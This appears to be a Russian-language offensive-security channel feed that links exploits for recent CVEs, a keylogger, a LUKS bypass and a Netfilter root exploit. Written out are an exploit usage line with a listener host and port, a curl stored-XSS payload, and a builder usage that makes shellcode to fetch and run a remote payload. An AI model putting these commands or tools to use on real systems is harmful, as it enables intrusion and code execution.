Proxy Bar

Syscall tables
*

    Windows 2003 SP2 build 3790 also Windows XP 64;
    Windows Vista RTM build 6000;
    Windows Vista SP2 build 6002;
    Windows 7 SP1 build 7601;
    Windows 8 RTM build 9200;
    Windows 8.1 build 9600;
    Windows 10 TP build 10061;
    Windows 10 TH1 build 10240;
    Windows 10 TH2 build 10586;
    Windows 10 RS1 build 14393;
    Windows 10 RS2 build 15063;
    Windows 10 RS3 build 16299;
    Windows 10 RS4 build 17134;
    Windows 10 RS5 build 17763;
    Windows 10 19H1 build 18362;
    Windows 10 19H2 build 18363;
    Windows 10 20H1 build 19041; * Note that 19042, 19043, 19044, 19045 are the same as 19041
    Windows Server 2022 build 20348;
    Windows 11 21H2 build 22000;
    Windows 11 22H2 build 22621;
    Windows 11 23H2 build 22631;
    Windows 11 24H2 build 26120;
    Windows 11 25H2 build 27686;
    Windows 11 25H2 build 27695;
    Windows 11 25H2 build 27723;
    Windows 11 25H2 build 27729.

*
Link

SLUB Internals for Exploit Developers
*
Linux Security Summit, Vienna
Sep 16th, 2024
*
PDF

Отлично ))))
onedrive.exe загружает подделанный sppc.dll, который, в свою очередь, загружает onedrive.dll и расшифровывает его с помощью системной функции RC4033 и жестко запрограммированного ключа. Расшифрованная полезная нагрузка, похоже, связана с havoc

Windows Keylogger
использующий SetWindowsHookEx
Link

tomcat CVE-2024-50379/CVE-2024-56337
*
Прокачанная версия

Черт, это действительно смешная пятничная история)))
*
GRUB LUKS Bypass and Dump

В сеть слили ранее не изданную альтернативную концовку фильма Хакеры 1995 года

#friday

CVE-2024-56145: Craft CMS
*
RCE без аутентификации
НО, только если включен параметр конфигурации PHP `register_argc_argv`
*
Exploit Command:

python exploit.py exploit -u <TARGET_URL> -lh <LOCAL_HOST> -lp <LOCAL_PORT> -px <PAYLOAD_TYPE>

*
EXploit

CVE-2024-49194
*
Databricks JDBC Attack via JAAS
*
WriteUP + POC

Отличное

JA4H (на witehatовском)
*
Dissecting JA4H for improved Sliver C2 detections

CVE-2024-10793
*
Плагин WP Activity Log для WordPress
Хранимая XSS через параметр user_id во всех версиях до 5.2.1

curl -X POST 'http://example.com/wp-admin/admin-ajax.php' \
     -d 'action=destroy-sessions&user_id=<script>alert("XSS found 1")</script>'

CVE-2024-53376
*
CyberPanel ( versions < 2.3.8 ) Authenticated OS Command Injection
*
WriteUP
*
exploit

CVE-2024-53375
*
TP-Link Archer AXE75 Authenticated Command Injection
*
Exploit

CVE-2024-50379 Apache Tomcat
*
Проблема с состоянием гонки времени проверки времени использования (TOCTOU), которое может привести к удаленному выполнению кода (RCE), особенно в файловых системах, нечувствительных к регистру, таких как Windows.
*
Exploitation and POC

На завтра уже, споть
*
90-Day Cybersecurity Plan
*
Cloud Security Labs
*
linux-attack-forensics-purple labs

Крутой разбор !!!
*
OtterRoot: Netfilter Universal Root 1-day

Svartalfheim
*
Шелкодесы))
Stage 0 Shellcode to Download a Remote Payload and Execute it in Memory
*
Link
Usage
python3 builder.py -u 10.10.100.121 -u /path/to/shellcode.bin -p 80
python3 builder.py -u 10.10.100.121 -u /path/to/shellcode.bin -p 443 -s